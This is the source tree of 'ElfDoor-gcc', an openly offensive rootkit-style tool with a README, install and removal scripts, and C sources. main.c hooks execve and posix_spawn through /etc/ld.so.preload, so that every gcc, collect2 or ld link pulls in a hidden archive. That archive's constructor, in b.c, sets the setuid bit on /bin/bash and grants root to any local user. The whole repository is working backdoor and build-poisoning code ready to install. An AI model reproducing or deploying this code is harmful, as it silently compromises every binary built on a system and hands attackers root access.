├── LICENSE ├── README.md ├── b.c ├── del.sh ├── gcc.png ├── install.sh └── main.c /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 matheuz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ElfDoor-gcc 2 | 3 | ElfDoor-gcc is an LD_PRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code. 4 | 5 | Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/ 6 | 7 |

8 | 9 |

10 | 11 | ### Install 12 | 13 | ``` 14 | git clone https://github.com/MatheuZSecurity/ElfDoor-gcc 15 | cd ElfDoor-gcc 16 | chmod +x install.sh 17 | sudo ./install.sh 18 | ``` 19 | 20 | Rootkit Researchers 21 | - https://discord.gg/66N5ZQppU7 22 | -------------------------------------------------------------------------------- /b.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | __attribute__((constructor)) 5 | void backdoor() { 6 | chmod("/bin/bash", 04755); 7 | } 8 | -------------------------------------------------------------------------------- /del.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$(id -u)" -ne 0 ]; then 4 | echo "This script must be run as root." 5 | exit 1 6 | fi 7 | 8 | rm /etc/ld.so.preload 9 | rm /usr/local/share/gcc.so 10 | 11 | sudo rm /dev/shm/b.a 12 | 13 | echo "[*] ElfDoor-gcc removed! [*]" 14 | -------------------------------------------------------------------------------- /gcc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MatheuZSecurity/ElfDoor-gcc/7ba6185478c69676707e723c0df7c11f9c607f87/gcc.png -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$(id -u)" -ne 0 ]; then 4 | echo "This script must be run as root." 5 | exit 1 6 | fi 7 | 8 | # Compile the shared library 9 | gcc -shared -fPIC -o gcc.so main.c -ldl 10 | 11 | # Compile b.c to object file 12 | gcc -c b.c -o b.o 13 | 14 | # Create static library b.a 15 | ar rcs b.a b.o 16 | 17 | # Move the static library to /dev/shm 18 | mv b.a /dev/shm/ 19 | 20 | # Preload b.a by adding it to ld.so.preload 21 | mv gcc.so /usr/local/share/ 22 | echo "/usr/local/share/gcc.so" > /etc/ld.so.preload 23 | 24 | 25 | echo "[*] ELfDoor-gcc Installed! [*]" 26 | echo "[*] Join in Rootkit Researchers [*]" 27 | echo "[*] https://discord.gg/66N5ZQppU7 [*]" 28 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | X: @MatheuzSecurity 4 | Rootkit Researchers 5 | https://discord.gg/66N5ZQppU7 6 | 7 | */ 8 | 9 | 10 | #define _GNU_SOURCE 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | extern char **environ; 19 | 20 | int is_gcc(const char *path) { 21 | const char *progname = strrchr(path, '/'); 22 | progname = progname ? progname + 1 : path; 23 | return strcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0; 24 | } 25 | 26 | int is_collect2(const char *path) { 27 | const char *progname = strrchr(path, '/'); 28 | progname = progname ? progname + 1 : path; 29 | return strcmp(progname, "collect2") == 0; 30 | } 31 | 32 | int is_linker(const char *path) { 33 | const char *progname = strrchr(path, '/'); 34 | progname = progname ? progname + 1 : path; 35 | return strcmp(progname, "ld") == 0 || strstr(progname, "ld.") != NULL; 36 | } 37 | 38 | int should_inject(char *const argv[]) { 39 | for (int i = 0; argv[i]; ++i) { 40 | if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0) 41 | return 0; 42 | } 43 | return 1; 44 | } 45 | 46 | char **inject_args(const char *bin_path, char *const argv[], int extra) { 47 | int argc; 48 | for (argc = 0; argv[argc]; ++argc); 49 | 50 | const char *lib_path = "/dev/shm/b.a"; 51 | 52 | for (int i = 0; i < argc; ++i) { 53 | if (argv[i] && strstr(argv[i], "b.a") != NULL) { 54 | return NULL; 55 | } 56 | } 57 | 58 | const char **new_argv = malloc(sizeof(char *) * (argc + extra + 1)); 59 | if (!new_argv) return NULL; 60 | 61 | int i = 0, j = 0; 62 | for (; i < argc; ++i) 63 | new_argv[j++] = argv[i]; 64 | 65 | const char *arg1, *arg2, *arg3; 66 | if (is_gcc(bin_path)) { 67 | arg1 = "-Wl,--whole-archive"; 68 | arg2 = lib_path; 69 | arg3 = "-Wl,--no-whole-archive"; 70 | } else { 71 | arg1 = "--whole-archive"; 72 | arg2 = lib_path; 73 | arg3 = "--no-whole-archive"; 74 | } 75 | 76 | new_argv[j++] = arg1; 77 | new_argv[j++] = arg2; 78 | new_argv[j++] = arg3; 79 | new_argv[j] = NULL; 80 | 81 | return (char **)new_argv; 82 | } 83 | 84 | int execve(const char *pathname, char *const argv[], char *const envp[]) { 85 | static int (*real_execve)(const char *, char *const [], char *const []) = NULL; 86 | if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve"); 87 | 88 | if ((is_gcc(pathname) || is_collect2(pathname) || is_linker(pathname)) && should_inject(argv)) { 89 | //fprintf(stderr, "[hook execve] injecting into %s\n", pathname); 90 | 91 | char **new_argv = inject_args(pathname, argv, 3); 92 | if (new_argv) { 93 | int result = real_execve(pathname, new_argv, envp); 94 | free(new_argv); 95 | return result; 96 | } 97 | } 98 | 99 | return real_execve(pathname, argv, envp); 100 | } 101 | 102 | int posix_spawn(pid_t *pid, const char *path, 103 | const posix_spawn_file_actions_t *file_actions, 104 | const posix_spawnattr_t *attrp, 105 | char *const argv[], char *const envp[]) { 106 | static int (*real_posix_spawn)(pid_t *, const char *, 107 | const posix_spawn_file_actions_t *, 108 | const posix_spawnattr_t *, 109 | char *const [], char *const []) = NULL; 110 | if (!real_posix_spawn) 111 | real_posix_spawn = dlsym(RTLD_NEXT, "posix_spawn"); 112 | 113 | if ((is_gcc(path) || is_collect2(path) || is_linker(path)) && should_inject(argv)) { 114 | //fprintf(stderr, "[HOOKED] %s\n", path); 115 | 116 | char **new_argv = inject_args(path, argv, 3); 117 | if (new_argv) { 118 | int result = real_posix_spawn(pid, path, file_actions, attrp, new_argv, envp); 119 | free(new_argv); 120 | return result; 121 | } 122 | } 123 | 124 | return real_posix_spawn(pid, path, file_actions, attrp, argv, envp); 125 | } 126 | --------------------------------------------------------------------------------